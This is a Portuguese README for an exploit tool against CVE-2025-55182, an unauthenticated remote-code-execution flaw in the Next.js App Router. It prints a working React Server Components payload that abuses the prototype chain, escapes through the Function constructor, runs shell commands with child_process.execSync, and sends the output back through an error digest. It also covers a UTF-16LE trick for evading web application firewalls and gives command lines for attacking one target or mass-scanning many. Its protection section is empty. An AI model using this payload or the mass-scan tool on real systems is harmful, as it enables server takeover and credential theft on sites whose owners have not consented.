Exploit de prova de conceito para CVE-2025-55182, demonstrando RCE não autenticado no Next.js App Router via injeção de objeto no lado do servidor em React Server Components, com bypass de WAF UTF-16LE.
O NextRce é uma ferramenta de pesquisa em segurança que demonstra a CVE-2025-55182, uma vulnerabilidade crítica em aplicações Next.js App Router que utilizam React Server Components (RSC) e Server Actions.
Essa vulnerabilidade permite que um atacante alcance execução remota de código (RCE) sem autenticação ao abusar da forma como o Next.js processa respostas de Server Actions e resolve payloads RSC serializados no servidor.
A CVE-2025-55182 existe na arquitetura Next.js App Router e pode ser classificada como um problema de injeção de objetos no lado do servidor / abuso da cadeia de protótipos que ocorre durante o tratamento de requisições multipart/form-data.
Quando uma Server Action é acionada, o servidor Next.js confia e desserializa entradas estruturadas do cliente. Ao enviar um payload especialmente criado, um atacante pode manipular a lógica de resolução interna e executar comandos arbitrários do sistema no runtime do Node.js.
A vulnerabilidade surge devido aos seguintes fatores combinados:
Modelo de Confiança das Server Actions
As Server Actions aceitam payloads estruturados do cliente que são processados pela lógica interna de resolução de React Server Components com validação insuficiente.
Injeção de Objetos Durante a Resolução RSC
Payloads elaborados podem abusar das cadeias de protótipos do JavaScript e de referências a construtores, permitindo escapar do escopo de objetos pretendido.
Sanitização Insuficiente
Campos internos como then, _response e getters de form-data não são adequadamente protegidos contra manipulação maliciosa.
Bypass de WAF Baseado em Codificação
Muitos Web Application Firewalls focam em UTF-8 ou JSON padrão. Codificar payloads como UTF-16LE permite que eles ignorem a inspeção enquanto ainda são decodificados corretamente pelo servidor Next.js.
O exploit depende da injeção de um payload RSC especialmente criado dentro de uma requisição multipart.
Uma versão simplificada do payload é mostrada abaixo:
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('{cmd}').toString('base64'); throw Object.assign(new Error('x'),{digest: res});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
1. Sequestro da Cadeia de Protótipos
"then": "$1:__proto__:then"then, interferindo em como as Promises são resolvidas durante o processamento de React Server Components no runtime do Next.js.2. Escape via Construtor
"_formData": { "get": "$1:constructor:constructor" }Function, possibilitando a execução de JavaScript arbitrário fora do sandbox pretendido.3. Execução Remota de Código
process.mainModule .require('child_process') .execSync('{cmd}')4. Exfiltração de Saída Baseada em Digest
throw Object.assign(new Error('x'), { digest: res });5. Bypass de WAF (UTF-16LE)
Content-Type: text/plain; charset=utf-16leA exploração bem-sucedida da CVE-2025-55182 pode resultar em:
🔥 Execução Remota de Código completa
🗄️ Acesso a dados sensíveis e credenciais
🔗 Movimentação lateral dentro da infraestrutura
📦 Comprometimento da cadeia de suprimentos
🚨 Tomada total do servidor
Severidade: Crítica
Autenticação Necessária: Não
Para se proteger contra a CVE-2025-55182:
Alvo Único
python3 exploit.py -u https://target.com -c "whoami"Varredura em Massa com Bypass de WAF
python3 exploit.py -l urls.txt -B -t 50Este projeto é fornecido estritamente para fins educacionais, de pesquisa e de testes de segurança autorizados.
NÃO use esta ferramenta contra sistemas que você não possui ou para os quais não tenha permissão explícita para testar.
O autor não assume nenhuma responsabilidade por uso indevido.